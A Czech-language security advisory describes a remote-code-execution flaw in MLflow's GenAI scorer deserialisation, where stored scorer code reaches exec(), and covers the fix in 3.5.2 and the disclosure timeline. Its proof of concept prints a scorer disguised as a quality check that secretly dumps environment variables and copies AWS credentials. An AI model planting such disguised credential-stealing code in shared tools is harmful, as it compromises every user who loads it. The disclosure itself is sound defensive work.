Autor: Evan Harris
Riziko: Vysoké
Dotčená komponenta: GenAI scorery MLflow (mlflow/mlflow)

Stručné shrnutí

Mechanismus deserializace GenAI scorerů v MLflow obsahoval zranitelnost umožňující vzdálené spuštění kódu. Nástroj recreate_function() v souboru scorer_utils.py předával data scoreru řízená útočníkem (uložená ve sledovací databázi MLflow) přímo do funkce exec() jazyka Python. Škodlivý scorer zaregistrovaný jedním uživatelem spustí libovolný kód na počítači kohokoli, kdo jej později načte a spustí, čímž umožní útok na dodavatelský řetězec napříč celým ML týmem. Problém jsme nahlásili správcům MLflow, kteří jej opravili tím, že omezili registraci a načítání vlastních scorerů na prostředí řízená Databricks. Uživatelé by měli přejít na MLflow 3.5.2 nebo novější.

Samostatný problém v MLflow, zveřejněný téhož dne, popisuje Exfiltrace a zničení dat v MLflow kvůli chybějící validaci Origin (DNS rebinding).

Souvislosti

Modul GenAI v MLflow umožňuje týmům definovat scorery, tedy funkce jazyka Python, které vyhodnocují kvalitu výstupů LLM (kontroly délky, bezpečnost obsahu, formátování a podobně). Scorery lze vytvořit pomocí dekorátoru @scorer, zaregistrovat je k experimentu a později je načíst podle názvu pomocí get_scorer(), aby kolegové mohli sdílené hodnocení znovu použít.

Aby to fungovalo, MLflow serializuje základní funkci scoreru a uloží ji do sledovací databáze. Při načtení scoreru MLflow rekonstruuje funkci z těchto uložených dat. Krok rekonstrukce je místem, kde zranitelnost sídlila: serializovaný zdrojový kód byl obnoven voláním funkce exec() jazyka Python, která spustí jakýkoli kód, jenž je jí předán. Protože uložená data jsou zcela řízena útočníkem, kdokoli, kdo mohl zaregistrovat scorer, mohl umístit kód, který by se spustil uvnitř procesu jiného uživatele.

Přehled

Zranitelnost je spuštěna podél jediného řetězce volání deserializace, který končí v exec():

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module] B --> C[Victim imports and registers
the scorer with MLflow] C --> D[Serialized function stored in
tracking database] D --> E["get_scorer(name, experiment_id)
registry.py:571"] E --> F["Scorer.model_validate()
base.py:222"] F --> G["_reconstruct_decorator_scorer()
base.py:298"] G --> H["recreate_function()
scorer_utils.py:131"] H --> I["exec(attacker_source)"] I --> J[Remote Code Execution
in victim process] style A fill:#ffebee style B fill:#ffebee style C fill:#fff3e0 style D fill:#fff9c4 style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#fff9c4 style H fill:#ffcdd2 style I fill:#ffcdd2 style J fill:#ffcdd2

Řetězec volání je:

mlflow.genai.scorers.get_scorer()
  → Scorer.model_validate()        # registry.py:571
  → _reconstruct_decorator_scorer() # base.py:222
  → recreate_function()             # base.py:298
  → exec()                          # scorer_utils.py:131  ← REMOTE CODE EXECUTION

Scénář útoku

  1. Útočník vytvoří scorer, který vypadá legitimně (“kontrola kvality” s věrohodným docstringem), ale v těle funkce ukrývá škodlivou zátěž.
  2. Útočník scorer distribuuje kanálem, kterému oběť důvěřuje: balíčkem na PyPI, týmovým repozitářem na GitHubu nebo sdíleným modulem jazyka Python.
  3. Oběť scorer naimportuje a zaregistruje jej do MLflow. Serializovaná funkce se zapíše do sledovací databáze.
  4. Později, možná na jiném počítači, jiným členem týmu, o několik dní či týdnů později, někdo scorer načte pomocí get_scorer() a použije jej.
  5. Během deserializace zavolá recreate_function() funkci exec() na uloženém zdrojovém kódu. Skrytá zátěž se spustí s plnými oprávněními procesu oběti.

Protože je spouštěč časově i mezi uživateli oddělen od registrace, útok je tichý: jediný škodlivý scorer zaregistrovaný jednou může kompromitovat každého v týmu, kdo si jej později stáhne.

Proof of Concept

Škodlivý scorer níže se vydává za kontrolu kvality výstupů. Tělo obsahuje zátěž, která zanechá značkovací soubor, exfiltruje proměnné prostředí a sklidí přihlašovací údaje AWS, než vrátí věrohodný výsledek, aby nevzbudila podezření:

from mlflow.genai.scorers import scorer

@scorer
def quality_checker(outputs):
    """
    Quality checker for LLM outputs.

    Validates that outputs meet quality standards:
    - Minimum length requirements
    - No offensive content
    - Proper formatting

    Returns:
        bool: True if output passes quality checks
    """
    # MALICIOUS PAYLOAD HIDDEN BELOW
    import os

    # Create proof file
    os.system('touch /tmp/rce_supply_chain.txt')
    os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')

    # Exfiltrate environment variables
    env_data = dict(os.environ)
    with open('/tmp/exfiltrated_env.txt', 'w') as f:
        f.write("EXFILTRATED ENVIRONMENT:\n")
        for key, value in list(env_data.items())[:10]:
            f.write(f'{key}={value}\n')

    # Harvest AWS credentials
    aws_creds_path = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, 'r') as f_in:
            with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
                f_out.write(f_in.read())

    # Return a valid result to avoid suspicion
    return len(outputs) > 10

Oběť si sdílený scorer načte tak, jak je zvyklá:

import mlflow
from mlflow.genai.scorers import get_scorer

# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")

scorer = get_scorer(name="quality_checker_v1", experiment_id="1")

A poté jej použije:

result = scorer(outputs="This is test output to evaluate")

V tomto okamžiku se spustí RCE a zátěž se vykoná v procesu oběti.

Dopad

V závislosti na zátěži nesené v nedůvěryhodných datech scoreru může útočník:

  • Spustit libovolný kód jazyka Python s plnými oprávněními procesu oběti
  • Exfiltrovat citlivá data, jako jsou přihlašovací údaje, proměnné prostředí a zdrojový kód
  • Sklidit přihlašovací údaje z běžných umístění (AWS, Docker, SSH)
  • Zajistit persistenci na počítači oběti
  • Provést laterální pohyb a průzkum sítě

Dopad je zesílen povahou zranitelnosti spadající do dodavatelského řetězce: jediný škodlivý scorer zaregistrovaný jediným členem týmu může kompromitovat každého uživatele, který jej později načte, přičemž ke spuštění dojde tiše dlouho po registraci.

Reakce MLflow

Poté, co jsme problém zveřejnili prostřednictvím koordinovaného procesu zveřejnění v MLflow, správci jej vyřešili v pull requestu #18493.

Namísto pokusu o izolaci v sandboxu nebo o validaci deserializovaného zdrojového kódu správci odstranili nebezpečnou schopnost mimo řízená prostředí: registrace a načítání vlastních scorerů založených na kódu jsou nyní omezeny na sledovací prostředí Databricks, kde je množina uživatelů, kteří mohou scorery nahrávat, řízena. Uživatelé na jiných sledovacích backendech jsou nasměrováni k bezpečnějším alternativám, jako jsou vestavěné scorery a scorery založené na make_judge(), které během deserializace nevyžadují spuštění libovolného kódu.

Oprava byla vydána v MLflow 3.5.2.

Doporučení

Pro koncové uživatele

  • Přejděte na MLflow 3.5.2 nebo novější.
  • Registrujte a načítejte vlastní scorery pouze ze zdrojů, kterým plně důvěřujete.
  • Zacházejte s daty scoreru ve sledovací databázi jako s nedůvěryhodným kódem, nikoli jako s inertními daty. Kdokoli, kdo může zapisovat do sledovacího úložiště, může spustit kód u každého konzumenta.
  • Upřednostňujte vestavěné scorery nebo scorery make_judge(), které během deserializace nespouštějí libovolný kód.
  • Omezte přístup k zápisu do sdílených sledovacích databází a scorery před opětovným použitím v týmu prověřte.

Časová osa

Datum Událost
20. října 2025 Zranitelnost nahlášena správcům MLflow prostřednictvím koordinovaného zveřejnění (issue #18404)
24. října 2025 MLflow slučuje opravu (PR #18493), vydáno ve v3.5.2
8. ledna 2026 huntr označil problém jako duplicitní
8. června 2026 Veřejné zveřejnění